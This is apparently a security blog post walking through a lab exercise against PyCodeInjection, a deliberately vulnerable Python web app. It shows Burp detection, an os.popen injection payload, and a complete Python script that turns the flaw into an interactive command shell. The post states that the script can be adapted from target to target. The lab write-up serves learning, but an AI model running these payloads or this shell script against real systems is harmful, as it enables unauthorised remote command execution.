Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Exploiting Python Code Injection in Web Applications

I was looking into python code injection recently, and ran across SethSec’s blog post.

This looked like a great example, and I wanted to run through it myself.

First off, I downloaded the PyCodeInjection application and got it running locally.

root@kali:~/Documents# ls
root@kali:~/Documents# git clone https://github.com/sethsec/PyCodeInjection.git
Cloning into 'PyCodeInjection'...
remote: Counting objects: 67, done.
remote: Total 67 (delta 0), reused 0 (delta 0), pack-reused 67
Unpacking objects: 100% (67/67), done.
Checking connectivity... done.
root@kali:~/Documents# cd PyCodeInjection/
root@kali:~/Documents/PyCodeInjection# ls
PyCodeInjectionShell.py README.md       VulnApp
root@kali:~/Documents/PyCodeInjection# cd VulnApp/
root@kali:~/Documents/PyCodeInjection/VulnApp# ls
PyCodeInjectionApp.py   install_requirements.sh requirements.txt    templates
root@kali:~/Documents/PyCodeInjection/VulnApp# ./install_requirements.sh 
./install_requirements.sh: line 5: apt-get: command not found
Collecting web.py (from -r requirements.txt (line 1))
  Downloading web.py-0.38.tar.gz (91kB)
    100% |�-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-�| 92kB 1.7MB/s 
Building wheels for collected packages: web.py
  Running setup.py bdist_wheel for web.py ... done
Successfully built web.py
Installing collected packages: web.py
Successfully installed web.py-0.38
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
root@kali:~/Documents/PyCodeInjection/VulnApp# ls
PyCodeInjectionApp.py   install_requirements.sh requirements.txt    templates
root@kali:~/Documents/PyCodeInjection/VulnApp# python PyCodeInjectionApp.py 8123
http://0.0.0.0:8123/

Once the application was running, I verified that I was able to reach it through my browser.

Python Code Injection - Hello World

Python Code Injection - Vulnerable Application

I saw the GET requests to the vulnerable application, so I knew that I was up and running.

10.92.2.7:4933 - - [18/Nov/2016 13:00:24] "HTTP/1.1 GET /pyinject" - 200 OK
10.92.2.7:18844 - - [18/Nov/2016 13:00:56] "HTTP/1.1 GET /pyinject" - 200 OK
10.92.2.7:23884 - - [18/Nov/2016 13:01:08] "HTTP/1.1 GET /pyinject" - 200 OK

First, I sent a basic GET request with the mentioned parameters to the application.

Python Code Injection - Basic Request

Since nothing came from this yet (obviously), I also sent an example request with the cookie. I knew that this wouldn’t cause any injection to occur, but it would let Burp know that there was a cookie that could be passed as well.

Python Code Injection - Request With Cookie

With my requests loaded up into Burp, I then kicked off Scanner. Within a few second, Scanner picked up on the Python Code Injection and reported it.

Python Code Injection - Burp Scanner

Forwarding Burp’s request to Repeater, I was able to reproduce the 20 second sleep from the payload.

Python Code Injection - Burp Sleep

After verifying the code injection, I put a quick Python one-liner into my cookie. This will import os, run the popen method on ‘id’, and then read the object into a string.

Python Code Injection - ID Cookie

With my code injection working, I then set out to reproduce this in my browser. First, I URL encoded my payload to prevent any issues with the special characters.

Python Code Injection - URL Encode

Python Code Injection - URL in Browser

After properly encoding the payload, I sent my GET request and got the ‘id’ response in my browser!

Python Code Injection - Browser Exploit

Obtaining a “shell”

In addition, I decided to integrate my exploit with a modified version of RWSH.

Finally, after modifying RWSH (v1.0, stay on the lookout for a new version), I was able to obtain a “shell” with this python code injection.

root@attackKali:~# python pyInjectionShell.py 

[*] Connecting to web shell:
    http://10.119.21.172:8123/pyinject

[*] Obtaining username.

[*] Obtaining hostname.

[+] Returning prompt!


root@kali:~$ id
uid=0(root) gid=0(root) groups=0(root)

root@kali:~$ whoami
root

root@kali:~$ ls -al
total 32
drwxr-xr-x  7 root  root   238 Nov 18 12:49 .
drwxr-xr-x  8 root  root   272 Nov 18 13:06 ..
-rw-r--r--  1 root  root  4067 Nov 18 12:47 PyCodeInjectionApp.py
-rw-r--r--  1 root  root  3586 Nov 18 12:49 PyCodeInjectionApp.pyc
-rwxr-xr-x  1 root  root   161 Nov 18 12:42 install_requirements.sh
-rw-r--r--  1 root  root     7 Nov 18 12:42 requirements.txt
drwxr-xr-x  3 root  root   102 Nov 18 12:42 templates

root@kali:~$ exit


[-] EXITING

root@attackKali:~# 

The modified code for this exploit is below. Note that the HTML parsing isn’t perfect, so you will have to modify this on a target by target basis.

#!/usr/bin/python
 
import requests
import string
from bs4 import BeautifulSoup

def main():
    session = requests.Session()
    session.trust_env = False
     
    ip = "10.119.21.172"
    port = "8123"
    filename = "pyinject"
    
    param = "param1"
    pycommand1 = "__import__('os').popen('"
    pycommand2 = "').read()"
        
    url = "http://" + ip + ":" + port + "/" + filename
    
    print "\n[*] Connecting to web shell:"
    print "    " + url
    
    print "\n[*] Obtaining username."

    command = "whoami"
    
    r = session.get(url, params={param: pycommand1 + command + pycommand2})

    username = ''
    soup = BeautifulSoup(r.text, 'html.parser')

    for br in soup.find_all("br"):
        if not '</br></br>' in str(br):
            username = br.text.strip()
    
    if "\\" in username:
        username = username.split("\\",1)[1]

    print "\n[*] Obtaining hostname."

    command = "hostname"
    
    r = session.get(url, params={param: pycommand1 + command + pycommand2})

    hostname = ''
    soup = BeautifulSoup(r.text, 'html.parser')

    for br in soup.find_all("br"):
        if not '</br></br>' in str(br):
            hostname = br.text.strip()

    print "\n[+] Returning prompt!\n\n"
    
    try:
        while True:
            cmd = raw_input(username + "@" + hostname + ":~$ ")
            if cmd == "exit":
                print "\n\n[-] EXITING\n"
                return
            else:
                r = session.get(url, params={param: pycommand1 + cmd + pycommand2})
                soup = BeautifulSoup(r.text, 'html.parser')
                for br in soup.find_all("br"):
                    if not '</br></br>' in str(br):
                        print br.text.strip() + "\n"
    except KeyboardInterrupt:
        print "\n\n\n[-] EXITING\n"
        return
    
if __name__ == "__main__":
    main()

7 Comments

      • Sounds good! I have a question that doesn’t have much to do with this blog post. I know you got your ECPPT from ElearnSecurity. I’m currently enrolled in the course and studying for the exam. The course comes with a wifihacking section. Does the exam hack some sort of wifi hacking or is this just a bonus section?

        • I don’t even remember a WiFi section in my coursework to be honest. There was definitely no WiFi in my exam though, so you shouldn’t need to be worried about that.

          • Thanks dude! After this exam I plan on either taking the mobile hacking course or web app course. I know you recently got your web hacking cert from eLearnSecurity. I may have more questions for you later on haha. I hope you don’t mind.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.